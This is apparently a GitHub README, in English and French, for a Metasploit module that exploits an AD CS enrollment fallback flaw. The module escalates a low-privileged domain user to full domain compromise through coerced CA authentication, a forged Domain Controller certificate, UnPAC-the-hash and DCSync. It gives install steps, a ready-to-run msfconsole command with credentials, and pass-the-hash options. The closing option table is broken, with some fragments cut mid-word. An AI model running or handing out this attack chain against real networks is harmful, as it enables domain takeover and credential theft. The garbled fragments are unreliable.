nafiez/metasploit-cve-2026-54121-certighost
A Metasploit auxiliary module that escalates from any low-privileged domain user to full domain compromise by abusing the AD CS enrollment "chase" fallback. The CA can be coerced into authenticating back to attacker-controlled infrastructure and then issuing a certificate that impersonates a Domain Controller.
Certighost a été découvert et exploité à l'origine par h0j3n et Aniq Fakhrul. Ce dépôt contient un module auxiliaire Metasploit qui permet d'élever les privilèges d'un utilisateur de domaine à faibles privilèges jusqu'à la compromission totale du domaine en abusant du repli « chase » de l'inscription AD CS. L'AC peut être contrainte de s'authentifier auprès d'une infrastructure contrôlée par l'attaquant, puis de délivrer un certificat qui usurpe l'identité d'un contrôleur de domaine. Ce certificat est utilisé pour PKINIT, UnPAC-the-hash récupère le hash NT du DC, et DCSync fait le reste.
mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/
Vérifiez qu'il est syntaxiquement valide et chargé :
ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb
msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"
Les ports 389 et 445 sont privilégiés, le module doit donc être exécuté en tant que root.

NTLM_HASH accepte un hash NT seul, :NT, ou LM:NT. Lorsque PASSWORD et NTLM_HASH sont tous deux définis, le hash l'emporte.
Utile lorsque vous voulez le certificat pour une utilisation hors ligne ou ultérieure :
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"

t's own creator has no DELETE right on it. With ACTION FULL the Administrator hash
recovered by DCSync is used automatically
CLEANUP_HASH no LM:NT or NT hash for CLEANUP_USER (pass-the-hash)
CLEANUP_PASS no Password for CLEANUP_USER

NTLM_HASH no NT hash for USERNAME, for pass-the-hash. Accepts LM:NT, :NT or a bare NT hash
NTLM_VALIDATE true no Validate the CA's NTLM auth via the Netlogon oracle. Set false to blindly accept i
t (no SMB signing) - useful to test whether the CA chase reaches LSA/LDAP at all,
but fails if the CA insists on signing

OUTPUT_DIR no Directory for the .pfx and .ccache files (defaults to the current working director
y)
